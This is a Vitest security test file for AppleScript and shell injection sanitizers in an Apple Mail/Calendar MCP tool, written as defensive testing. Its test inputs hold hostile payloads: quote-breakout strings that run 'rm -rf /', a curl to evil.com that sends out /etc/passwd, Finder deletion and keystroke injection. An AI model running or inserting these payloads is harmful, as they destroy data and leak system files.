Skip to main content
Glama
applescript-injection.test.js14.8 kB
/** * Security tests for AppleScript injection prevention * Tests sanitization of user inputs used in AppleScript commands */ import { describe, it, expect } from 'vitest' describe('AppleScript Injection Prevention', () => { // Simulated AppleScript sanitization function const sanitizeForAppleScript = (input) => { if (typeof input !== 'string') return '' // Escape backslashes first, then quotes return input .replace(/\\/g, '\\\\') .replace(/"/g, '\\"') .replace(/\r/g, '\\r') .replace(/\n/g, '\\n') } // Simulated function to build AppleScript command safely const buildAppleScriptCommand = (messageId) => { const sanitized = sanitizeForAppleScript(messageId) return `tell application "Mail" to open message id "${sanitized}"` } describe('sanitizeForAppleScript', () => { it('should escape double quotes', () => { const input = 'test"quote' const result = sanitizeForAppleScript(input) expect(result).toBe('test\\"quote') }) it('should escape backslashes', () => { const input = 'test\\path' const result = sanitizeForAppleScript(input) expect(result).toBe('test\\\\path') }) it('should escape newlines', () => { const input = 'line1\nline2' const result = sanitizeForAppleScript(input) expect(result).toBe('line1\\nline2') }) it('should escape carriage returns', () => { const input = 'line1\rline2' const result = sanitizeForAppleScript(input) expect(result).toBe('line1\\rline2') }) it('should handle multiple escapes', () => { const input = 'test"with\\special\nchars' const result = sanitizeForAppleScript(input) expect(result).toBe('test\\"with\\\\special\\nchars') }) it('should return empty string for non-string inputs', () => { expect(sanitizeForAppleScript(null)).toBe('') expect(sanitizeForAppleScript(undefined)).toBe('') expect(sanitizeForAppleScript(123)).toBe('') expect(sanitizeForAppleScript({})).toBe('') }) it('should pass through safe strings unchanged', () => { const input = 'simple-message-id-123' const result = sanitizeForAppleScript(input) expect(result).toBe('simple-message-id-123') }) }) describe('injection attempts', () => { it('should prevent command injection via quotes', () => { // Attacker tries to break out of quoted string and run command const maliciousInput = '" & do shell script "rm -rf /" & "' const result = sanitizeForAppleScript(maliciousInput) // The quotes should be escaped, preventing injection expect(result).toBe('\\" & do shell script \\"rm -rf /\\" & \\"') // All quotes are now escaped (\" not ") expect(result.startsWith('\\"')).toBe(true) }) it('should prevent shell script injection', () => { const maliciousInput = '"; do shell script "curl http://evil.com/steal?data=" & (read file "/etc/passwd") & "' const result = sanitizeForAppleScript(maliciousInput) // All quotes escaped - check that raw unescaped quote sequences don't exist // The result should have \\" not standalone " expect(result.startsWith('\\"')).toBe(true) expect(result.split('\\"').length).toBeGreaterThan(1) }) it('should prevent tell block injection', () => { const maliciousInput = '"\nend tell\ntell application "Finder" to delete every item of desktop\ntell application "Mail"\nset x to "' const result = sanitizeForAppleScript(maliciousInput) // Newlines escaped, preventing multi-line injection expect(result.includes('\nend tell')).toBe(false) expect(result.includes('\\nend tell')).toBe(true) }) it('should prevent keystroke injection', () => { const maliciousInput = '" & keystroke "a" using command down & "' const result = sanitizeForAppleScript(maliciousInput) // All quotes should be escaped expect(result.startsWith('\\"')).toBe(true) expect(result.endsWith('\\"')).toBe(true) }) it('should prevent system events injection', () => { const maliciousInput = '"\ntell application "System Events"\n keystroke "q" using command down\nend tell\nset x to "' const result = sanitizeForAppleScript(maliciousInput) expect(result.includes('\ntell application')).toBe(false) }) }) describe('buildAppleScriptCommand', () => { it('should build safe command with normal input', () => { const messageId = 'abc123@example.com' const command = buildAppleScriptCommand(messageId) expect(command).toBe('tell application "Mail" to open message id "abc123@example.com"') }) it('should safely handle message IDs with special characters', () => { const messageId = '<CADq1234.abc@mail.gmail.com>' const command = buildAppleScriptCommand(messageId) expect(command).toBe('tell application "Mail" to open message id "<CADq1234.abc@mail.gmail.com>"') }) it('should prevent injection in message ID', () => { const maliciousId = '" & do shell script "whoami" & "' const command = buildAppleScriptCommand(maliciousId) // Should contain escaped quotes, preventing injection expect(command).toContain('\\"') // The command should still be properly wrapped - quotes in ID are escaped expect(command.startsWith('tell application "Mail"')).toBe(true) }) }) describe('osascript command building', () => { const buildOsascriptCommand = (script) => { // In real code, we'd escape for shell as well const shellEscape = (str) => { // Single quotes in shell: replace ' with '\'' return `'${str.replace(/'/g, "'\\''")}'` } return `osascript -e ${shellEscape(script)}` } it('should escape single quotes for shell', () => { const script = "tell application 'Mail' to activate" const command = buildOsascriptCommand(script) expect(command).toBe("osascript -e 'tell application '\\''Mail'\\'' to activate'") }) it('should prevent shell command injection', () => { const maliciousScript = "'; rm -rf /; echo '" const command = buildOsascriptCommand(maliciousScript) // Single quotes should be escaped with '\'' pattern // This breaks the string: close quote, escaped quote, reopen quote expect(command).toContain("'\\''") // The command should wrap the script properly expect(command.startsWith("osascript -e '")).toBe(true) }) }) describe('message ID validation', () => { const isValidMessageId = (id) => { if (typeof id !== 'string') return false if (id.length === 0 || id.length > 500) return false // Message IDs should only contain safe characters // RFC 2822 msg-id format: printable ASCII except some special chars const safePattern = /^[a-zA-Z0-9@.<>\-_+=]+$/ return safePattern.test(id) } it('should accept valid message IDs', () => { const validIds = [ 'abc123@example.com', '<CADq1234.abc@mail.gmail.com>', '20240101120000.123456@example.com', 'unique-id-with-dashes@host.domain.tld' ] for (const id of validIds) { expect(isValidMessageId(id)).toBe(true) } }) it('should reject message IDs with shell metacharacters', () => { const invalidIds = [ 'id;rm -rf /', 'id$(whoami)', 'id`whoami`', 'id|cat /etc/passwd', 'id&& malicious' ] for (const id of invalidIds) { expect(isValidMessageId(id)).toBe(false) } }) it('should reject message IDs with quotes', () => { const invalidIds = [ 'id"injection', "id'injection", 'id`injection' ] for (const id of invalidIds) { expect(isValidMessageId(id)).toBe(false) } }) it('should reject empty or too long IDs', () => { expect(isValidMessageId('')).toBe(false) expect(isValidMessageId('x'.repeat(501))).toBe(false) }) it('should reject non-string inputs', () => { expect(isValidMessageId(null)).toBe(false) expect(isValidMessageId(undefined)).toBe(false) expect(isValidMessageId(123)).toBe(false) }) }) describe('contact identifier sanitization', () => { const sanitizeContactId = (id) => { if (typeof id !== 'string') return '' // Remove any characters that could be problematic // Only allow alphanumeric, @, ., -, _, +, and spaces return id.replace(/[^a-zA-Z0-9@.\-_+ ]/g, '') } it('should allow valid email addresses', () => { const email = 'user@example.com' expect(sanitizeContactId(email)).toBe('user@example.com') }) it('should allow valid phone numbers', () => { const phone = '+1-555-123-4567' expect(sanitizeContactId(phone)).toBe('+1-555-123-4567') }) it('should strip shell metacharacters', () => { const malicious = 'user@example.com; rm -rf /' expect(sanitizeContactId(malicious)).toBe('user@example.com rm -rf ') }) it('should strip quotes', () => { const malicious = 'user"test\'@example.com' expect(sanitizeContactId(malicious)).toBe('usertest@example.com') }) it('should strip backticks', () => { const malicious = 'user`whoami`@example.com' expect(sanitizeContactId(malicious)).toBe('userwhoami@example.com') }) }) describe('URL scheme injection', () => { const isValidMessageURL = (url) => { if (typeof url !== 'string') return false // Only allow message:// URLs with safe characters if (!url.startsWith('message://')) return false const path = url.slice('message://'.length) // Path should only contain URL-safe characters // Specifically: alphanumeric, -, _, ., ~, %, @, <, > const safePattern = /^[a-zA-Z0-9\-_.~%@<>]+$/ return safePattern.test(path) } it('should accept valid message:// URLs', () => { const validUrls = [ 'message://<abc123@example.com>', 'message://%3Cabc123@example.com%3E', 'message://abc-123_test@domain.com' ] for (const url of validUrls) { expect(isValidMessageURL(url)).toBe(true) } }) it('should reject non-message:// URLs', () => { expect(isValidMessageURL('file:///etc/passwd')).toBe(false) expect(isValidMessageURL('http://evil.com')).toBe(false) expect(isValidMessageURL('javascript:alert(1)')).toBe(false) }) it('should reject URLs with shell metacharacters', () => { expect(isValidMessageURL('message://id;rm -rf /')).toBe(false) expect(isValidMessageURL('message://id$(whoami)')).toBe(false) expect(isValidMessageURL('message://id|cat')).toBe(false) }) it('should reject URLs with quotes', () => { expect(isValidMessageURL('message://id"test')).toBe(false) expect(isValidMessageURL("message://id'test")).toBe(false) }) }) describe('calendar identifier sanitization', () => { const sanitizeCalendarId = (id) => { if (typeof id !== 'string') return '' // Calendar IDs are typically UUIDs or similar // Only allow alphanumeric, dashes, and underscores return id.replace(/[^a-zA-Z0-9\-_]/g, '') } it('should accept valid UUID-style IDs', () => { const uuid = '550e8400-e29b-41d4-a716-446655440000' expect(sanitizeCalendarId(uuid)).toBe('550e8400-e29b-41d4-a716-446655440000') }) it('should strip dangerous characters', () => { const malicious = '550e8400"; do shell script "rm -rf /"' const result = sanitizeCalendarId(malicious) expect(result).toBe('550e8400doshellscriptrm-rf') expect(result).not.toContain('"') expect(result).not.toContain(';') }) }) describe('file path sanitization for AppleScript', () => { const sanitizeFilePath = (path) => { if (typeof path !== 'string') return '' // First convert backslashes to forward slashes (POSIX style) let posixPath = path.replace(/\\/g, '/') // Then escape quotes and colons (AppleScript path separator) return posixPath .replace(/"/g, '\\"') .replace(/:/g, '\\:') } it('should escape quotes in file paths', () => { const path = '/Users/test/"evil"/file.txt' const result = sanitizeFilePath(path) expect(result).toBe('/Users/test/\\"evil\\"/file.txt') }) it('should handle HFS-style paths with colons', () => { const path = 'Macintosh HD:Users:test' const result = sanitizeFilePath(path) expect(result).toBe('Macintosh HD\\:Users\\:test') }) it('should convert Windows-style backslashes to forward slashes', () => { const path = 'C:\\Users\\test\\file.txt' const result = sanitizeFilePath(path) // Backslashes converted to forward slashes expect(result).toBe('C\\:/Users/test/file.txt') }) }) describe('defense in depth', () => { it('should use allowlist for application names', () => { const ALLOWED_APPS = ['Mail', 'Calendar', 'Messages', 'Contacts'] const isAllowedApp = (appName) => { return ALLOWED_APPS.includes(appName) } expect(isAllowedApp('Mail')).toBe(true) expect(isAllowedApp('Calendar')).toBe(true) expect(isAllowedApp('Finder')).toBe(false) expect(isAllowedApp('Terminal')).toBe(false) expect(isAllowedApp('System Events')).toBe(false) }) it('should use allowlist for AppleScript verbs', () => { const ALLOWED_VERBS = ['open', 'activate', 'get', 'count'] const isAllowedVerb = (verb) => { return ALLOWED_VERBS.includes(verb.toLowerCase()) } expect(isAllowedVerb('open')).toBe(true) expect(isAllowedVerb('get')).toBe(true) expect(isAllowedVerb('delete')).toBe(false) expect(isAllowedVerb('do shell script')).toBe(false) }) it('should validate complete command structure', () => { const validateCommand = (app, verb, target) => { const ALLOWED_APPS = ['Mail', 'Calendar', 'Messages'] const ALLOWED_VERBS = ['open', 'activate', 'get'] if (!ALLOWED_APPS.includes(app)) return false if (!ALLOWED_VERBS.includes(verb)) return false if (typeof target !== 'string' || target.length === 0) return false // Target should not contain newlines or control characters if (/[\x00-\x1f]/.test(target)) return false return true } expect(validateCommand('Mail', 'open', 'message123')).toBe(true) expect(validateCommand('Terminal', 'open', 'file')).toBe(false) expect(validateCommand('Mail', 'delete', 'message')).toBe(false) expect(validateCommand('Mail', 'open', 'msg\nend tell')).toBe(false) }) }) })

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/sfls1397/Apple-Tools-MCP'

If you have feedback or need assistance with the MCP directory API, please join our Discord server